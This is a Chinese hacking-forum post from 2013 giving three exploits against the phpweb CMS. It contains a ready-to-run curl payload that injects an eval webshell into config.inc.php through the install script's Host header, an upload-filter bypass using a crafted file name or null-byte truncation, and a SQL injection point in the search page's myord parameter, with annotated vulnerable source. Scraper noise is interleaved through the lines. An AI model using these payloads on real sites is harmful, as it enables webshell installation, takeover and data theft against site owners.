找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2522|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
; `; i5 O  `/ [7 Y: b9 I
2 b1 n$ g1 w, Z. j$ ?之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码( _% Q; y2 F- `2 ?5 o1 q. N8 D

" L* ~8 M6 S- b: k1 |2 J鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
  i5 W, P5 P8 {0 A, i鸡肋2: 有一定安全常识的站长都会删掉 install 目录, k- a$ X) o' K' T

% \2 u% ^& ]; x* P虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响% v: a. j% Y7 u* q( {1 T

5 Q/ W- E; z6 F( m4 }分析:
" w! L2 ?$ |, ]0 H
% ?9 C) \2 l4 Z- l+ |6 A
- S. Z# l: Y5 N( B8 z; A+ o2 S8 @$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
: D4 m/ p) y$ g % t% N7 N. i' ?& U, F2 a
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);# O1 m1 x$ F8 V8 ^
                                            $filestr=str_replace(" ","",$filestr);
, Q9 J, E9 `7 I* R' l: p1 u" J                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
, l0 l$ i) ^5 o7 j2 [' x                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
2 o, {* R, _4 P' p, Z. w                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
6 x4 W. i! K/ A! O. ?6 _                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);5 r4 {1 j3 C4 M" Z+ O
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
7 M- l! A+ L* a                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
. R8 \  r$ j0 l& p                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
. a0 j; }- v% V9 V 3 @. q/ P: M5 Y- A0 h+ G
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
: ?+ X9 C% I  O7 R$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
( M6 l" s0 y0 R - P3 r) v$ u( ]  j
poc:
. r* c& }6 o5 Q* J; {7 Q8 k( \
6 R+ U0 \6 J# ]?5 [: C: O% |: C/ o5 I: _; ^
15 A5 u" Z% I" T; ^+ u
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
( p) B( Q) @( o& P. Q+ p0 r+ jshell地址: /config.inc.php  I5 I' M3 k% \9 K/ v7 \/ m
跟之前的 phpcms一样 需要远程数据库/ x% t1 W& |; P( u9 {% m) I; L

& r+ J( Y6 G" d7 |: g' G——————————————————–
& y& H; I5 D# W) y& |0 W3 @上传漏洞(需要进后台):: d! `+ N, J9 B  k
漏洞文件: /kedit/upload_cgi/upload.php
% s: l& g( I( v/ O0 T+ m( T" Q) a这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用' M0 V$ q6 s( W7 J+ o9 |: k
# x1 j, m% z1 F; ^
  f7 H) s8 y, O7 A
<?php
: h' s9 D8 {3 i5 o    define("ROOTPATH", "../../");  H* {4 {$ J% u+ O; b- t5 L# D
    include(ROOTPATH."includes/admin.inc.php");
$ V7 @4 w1 ?/ c. z4 F9 m1 O) D9 \    NeedAuth(0);# A* @( }, p) U& g
- x; t3 f) {3 A. f
    $dt=date("Ymd",time());0 G7 V& F. q' p$ ?. |' {) s: ?2 k
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
9 V; l* }: \) E6 ^- m            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);( t9 j4 A6 z) q& \
    }
7 d" ~0 W9 f: Z+ g- k- |4 H  L
" i2 W0 q1 w% q3 m5 s    //文件保存目录路径+ ~+ @4 L, Y. R1 [
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
" n* A$ A& K2 e3 h$ F. F0 s* z  B    echo $save_path;
" M: k- S# m0 t* a    //文件保存目录URL4 B- {2 h5 i  p
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
( X: F7 U+ r& `, l( r8 w. c
. _# N0 a/ j  n! C" p9 N    //定义允许上传的文件扩展名" N: s9 ~) b" @1 ?+ R
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
5 _7 H2 l. u8 f  Q * E: }; y( Q+ H8 t( g1 `9 G6 j2 ]
    //最大文件大小% @7 c  L1 |; d% F0 b6 Q
    $max_size = 1000000;
/ F) p6 g. l! K# g. b) `9 o& x
# s5 J$ d: l) J8 V    //更改目录权限
0 n  `5 w; I3 a    @mkdir($save_path, 0777);( ]- D' Q' Z& S: J# R$ N8 @4 L. C: k

! a: ^/ C; z% J6 n  h6 C    //文件的全部路径. R$ `3 s; r. }- s% Q+ P3 o- Z
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
$ B6 u; k( a  b7 p7 T 2 U8 W, n/ s( ]6 t8 ]- Q
    //文件URL+ v5 B: K9 {: s
    $file_url = $save_url.$_POST['fileName'];' e# N7 L9 A! r3 q6 m$ X8 p
//有上传文件时) V7 X/ C: v  y+ d
    if (empty($_FILES) === false) {
+ n5 p: c2 m: `; X! c' @8 J $ u7 q, v# F5 g, j( L: h
            //原文件名" F6 h: ?: x& b/ D* Y. K
            $file_name = $_FILES['fileData']['name'];
2 c8 g, G0 U  j            //服务器上临时文件名: \/ V  ?' M: k9 a/ o  d4 L9 u
            $tmp_name = $_FILES['fileData']['tmp_name'];
- g( s) V2 F9 V; j            //文件大小* Y  S9 ~' s- z/ X! }; n9 m+ K* p
            $file_size = $_FILES['fileData']['size'];
" {* E" X* f$ |6 @7 ^2 i, \            //检查目录
& t+ @' Q, F# K% m& N% X! H8 [            if (@is_dir($save_path) === false) {
8 R: s4 ?; J5 ~+ a8 @                    alert("上传目录不存在。");1 L4 ~. V/ }9 C/ Y) w9 ~# t
            }+ \: Z2 ~/ b! ~/ ^9 S* ?3 v
            //检查目录写权限- F8 N0 Y6 Q, k; B7 G1 u, M8 k
            if (@is_writable($save_path) === false) {
; l; _- W# c; I$ q7 ^- y                    alert("上传目录没有写权限。");
! Y* S6 Q/ X. Q, H$ _( v% j" u            }0 e: k5 R' H! n0 [" I+ M
            //检查是否已上传6 w" S; `# y" F6 X) s
            if (@is_uploaded_file($tmp_name) === false) {! L9 x' J" |0 E3 y* C+ I
                    alert("临时文件可能不是上传文件。");; Z" j: q1 V. e9 d: f
            }6 ~7 o" d+ |) k
            //检查文件大小( J9 t% f. L/ f: X: j
            if ($file_size > $max_size) {
4 m" Q" K' g1 o# {" y7 o& J; V                    alert("上传文件大小超过限制。");* v. z/ ]" m! {
            }
6 _; `; ]' g& g7 A            //获得文件扩展名) P1 M2 |. ~9 v
            $temp_arr = explode(".", $_POST['fileName']);3 J: e. G& K, z: B
            $file_ext = array_pop($temp_arr);) e+ o/ h- d% F5 d5 ~! G) Z: x
            $file_ext = trim($file_ext);/ {& N( R6 |4 J
            $file_ext = strtolower($file_ext);! U& p& ?8 U4 R1 ^
4 n$ l3 i( t# W  R
            //检查扩展名   " p/ K; H% L. J
            if (in_array($file_ext, $ext_arr) === false) {     - Q: _& ]1 M0 V3 D8 C, u
                    alert("上传文件扩展名是不允许的扩展名。");5 c* W$ R1 A8 v
            }3 C* w- `  o& M/ c
8 k- S( x9 j( \! o8 O
            //移动文件   
/ o; p# \" k/ T. _1 X            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^: `1 q" d0 i* l: U3 S
            if (move_uploaded_file($tmp_name, $file_path) === false) {/ w) R, U' v9 ?+ M' Q1 G6 {
                    alert("上传文件失败。");
( |: S6 S5 n2 H# Q            }& f5 _$ o5 H) q+ B$ ]3 z
" B+ C# B7 L) \* V( `- l' T0 i7 H
            @chmod($file_path,0666);
2 Q$ H  \) R" ?+ U# q
( Q/ x: F  T5 u3 k7 b+ n    ?>* r, y0 Q: p/ s
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227) Z# \* N/ c/ t
, T' L5 ?' k! |5 C9 B
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
& \6 K7 P* Y5 y7 v* w( f1 U5 D ! I& C  \9 F% v! y) u
——————————————————
4 C" Y4 ]" N5 @8 j, v; Q+ k' l/ e  E注入漏洞:* a( R* B1 y' c- R& ^" z0 R6 }- e
漏洞文件:search/module/search.php$ n, {! l6 e4 M3 q2 x6 D
/search/index.php?key=1&myord=1 [sqlinjection]/ Z1 i+ c% P7 v8 W

* j' @+ @% O/ Z! A
. l6 F7 \! h% a# d. S<?php% o+ d' w" o# c; i0 S& g. S# Z
   //       ... 省略 n 行.../ A% ^& D1 w# i
   //第18行:( L) Z3 }0 S& y: W. W9 y
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响# x' l3 T9 j3 l9 q8 t
           $page=htmlspecialchars($_GET["page"]);! W0 q4 N: G* W" i/ ]) d/ U
           $myord=htmlspecialchars($_GET["myord"]);( V8 d  j) J! }! `; l
1 e0 D( |% F  n7 \
   //       ... 省略 n 行...* i, P; B, g0 b( n& K8 ^; ?
   $key,$myord 两个参数带入查询. x* E$ ?/ {$ m' d* J/ N* k: k
   //第47行 $key:/ X' g& k) Y* q6 Z  O8 `# d9 C9 ~
% C' [' a- Q9 X  F7 D
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
5 R! n* Z7 H/ z# Q2 I6 y1 [ ' Y8 g* Q2 X! _2 o  f
   //第197行 $myord4 d) Z: F' d7 \8 s: Y
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入5 i9 Q2 @: ~& K0 G: _! |1 |1 F
' M7 Z. n* Y6 F% w* e
   ?>! ]6 U0 G6 I0 h/ J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表